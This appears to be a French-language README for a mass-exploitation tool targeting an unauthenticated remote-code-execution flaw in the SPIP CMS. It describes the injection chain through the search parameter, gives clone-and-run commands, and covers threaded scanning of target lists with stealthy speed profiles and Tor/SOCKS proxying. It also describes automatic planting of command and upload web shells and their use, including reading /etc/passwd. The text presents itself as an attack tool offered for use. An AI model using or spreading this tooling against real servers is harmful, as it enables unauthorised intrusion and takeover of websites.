CVE-2026-77647

SPIP avant 4.4.20 permet à des attaquants distants non authentifiés d'exécuter du code arbitraire

🔴 CVE-2026-77647 — Exécution de code à distance non authentifiée dans SPIP

Exécution de code à distance avant authentification dans le CMS SPIP — Toutes les versions antérieures à 4.4.20

---

📋 Aperçu

CVE-2026-77647 est une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant toutes les versions du CMS SPIP antérieures à la 4.4.20.

La faille permet à un attaquant distant — sans aucune authentification ni interaction de l'utilisateur — d'exécuter du code PHP arbitraire sur le serveur cible. Elle a été activement exploitée dans la nature à partir d'août 2026, ce qui a conduit l'équipe SPIP à publier un correctif d'urgence.

Cet outil automatise la détection et l'exploitation de cette vulnérabilité sur plusieurs cibles avec une concurrence configurable.

---

🛡️ Détails de la vulnérabilité

Champ	Détails
ID CVE	CVE-2026-77647
Logiciel affecté	SPIP CMS
Versions affectées	Toutes les versions antérieures à 4.4.20
Type	Exécution de code à distance (RCE) non authentifiée
CWE	CWE-94 — Contrôle inapproprié de la génération de code (injection de code)
Score CVSS 3.1	9.8 / 10 — CRITIQUE
Vecteur CVSS	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentification	Aucune requise (pré-authentification)
Exploitation	Activée dans la nature (août 2026)
Correctif	SPIP 4.4.20 (Avis)

---

⚙️ Détail du CVSS 3.1

Métrique	Valeur	Signification
Vecteur d'attaque	Réseau	Exploitable à distance via Internet
Complexité d'attaque	Faible	Aucune condition particulière requise
Privilèges requis	Aucun	Aucune authentification nécessaire
Interaction utilisateur	Aucune	Aucune action de la victime requise
Portée	Inchangée	Impact limité au système vulnérable
Confidentialité	Élevée	Accès complet en lecture à toutes les données
Intégrité	Élevée	Accès complet en écriture / modification
Disponibilité	Élevée	Déni de service complet possible

---

🔬 Analyse technique

Cause racine

La vulnérabilité découle de deux problèmes interdépendants dans le moteur de templates de SPIP :

1. Identification incorrecte des blocs <?php — le moteur de templates de SPIP ne parvient pas à assainir correctement les balises d'ouverture PHP dans les entrées contrôlées par l'utilisateur, en particulier dans le paramètre de recherche (recherche).

2. Mauvaise gestion de var_export — la fonction var_export() de PHP gère mal certains cas limites, notamment lorsque l'entrée contient le caractère <, ce qui permet l'injection de code PHP exécutable.

Chaîne d'exploitation

User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval

L'attaquant envoie une charge utile forgée via la fonctionnalité de recherche de SPIP (?page=recherche&recherche=PAYLOAD). La charge utile exploite le mécanisme d'en-tête HTTP X-Spip-Filtre pour déclencher html_entity_decode, qui décode le code PHP injecté. Le code décodé est ensuite évalué par le moteur de rendu de templates de SPIP, permettant l'exécution de code arbitraire.

Déroulement de l'attaque

┌──────────────────────┐
│   Attacker Machine   │
└──────────┬───────────┘
           │
           │  GET /spip.php?page=recherche&recherche=<PAYLOAD>
           ▼
┌──────────────────────┐
│   SPIP Application   │
│                      │
│  1. Receives search  │
│  2. var_export()     │──── Mishandles '<' character
│  3. X-Spip-Filtre   │──── html_entity_decode
│  4. Template eval    │──── Executes injected PHP
│                      │
└──────────┬───────────┘
           │
           │  file_put_contents() → PHP Web Shell
           ▼
┌──────────────────────┐
│   Web Shell Active   │
│   Full RCE Achieved  │
└──────────────────────┘

🚀 Utilisation

Prérequis

• Python 3.7+
• Bibliothèque requests

Installation

git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests

Préparer les cibles

Créez un fichier nommé list.txt (ou tout autre nom personnalisé) avec une cible par ligne :

https://target1.com
https://target2.com
http://192.168.1.100
target3.com

Remarque : les cibles sans schéma (http:// ou https://) utiliseront http:// par défaut.

Exécution

python CVE-2026-77647.py

Configuration interactive

L'outil vous demandera :

[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):

Vitesse	Threads	Timeout	Profil
1 — Lent	5	25s	🔇 Furtif
2 — Normal	10	15s	⚖️ Équilibré
3 — Rapide	25	12s	⚡ Agressif
4 — Ultra	50	10s	🔥 Maximum

[?] Proxy (blank = none): socks5://127.0.0.1:9050

Prend en charge les proxys HTTP/HTTPS/SOCKS pour l'anonymisation.

Sortie

Les résultats réussis sont enregistrés dans shells.txt :

https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk

Accès au shell

Exécution de commandes :

https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd

Interface de téléversement de fichiers :

https://target.com/Nx_.php?k=nXk

---

🎯 Fonctionnalités

• 🔍 Détection automatique de la version de SPIP via l'en-tête Composed-By et l'empreinte de la page
• 🛡️ Ignorance des versions corrigées — ignore automatiquement SPIP ≥ 4.4.20
• 📝 Double déploiement de shell — shell d'exécution de commandes + shell de téléversement de fichiers
• 📂 Écriture multi-chemins — tente les répertoires racine, IMG/, tmp/ et local/
• ⚡ Analyse multithread — 5 à 50 threads simultanés configurables
• 🌐 Prise en charge des proxys — routage via proxy HTTP, HTTPS et SOCKS
• 📊 Statut en temps réel — progression en direct avec sortie terminal colorée
• 💾 Sauvegarde automatique des résultats — tous les shells confirmés enregistrés dans le fichier de sortie

---

📚 Références

• CVE-2026-77647 — CVE.org
• CVE-2026-77647 — NVD (NIST)
• SPIP Security Advisory — SPIP Blog
• CERTFR-2026-AVI-1033 — CERT-FR (ANSSI)
• Debian Security Tracker — CVE-2026-77647
• Rapid7 Vulnerability Database

---

⚠️ Avertissement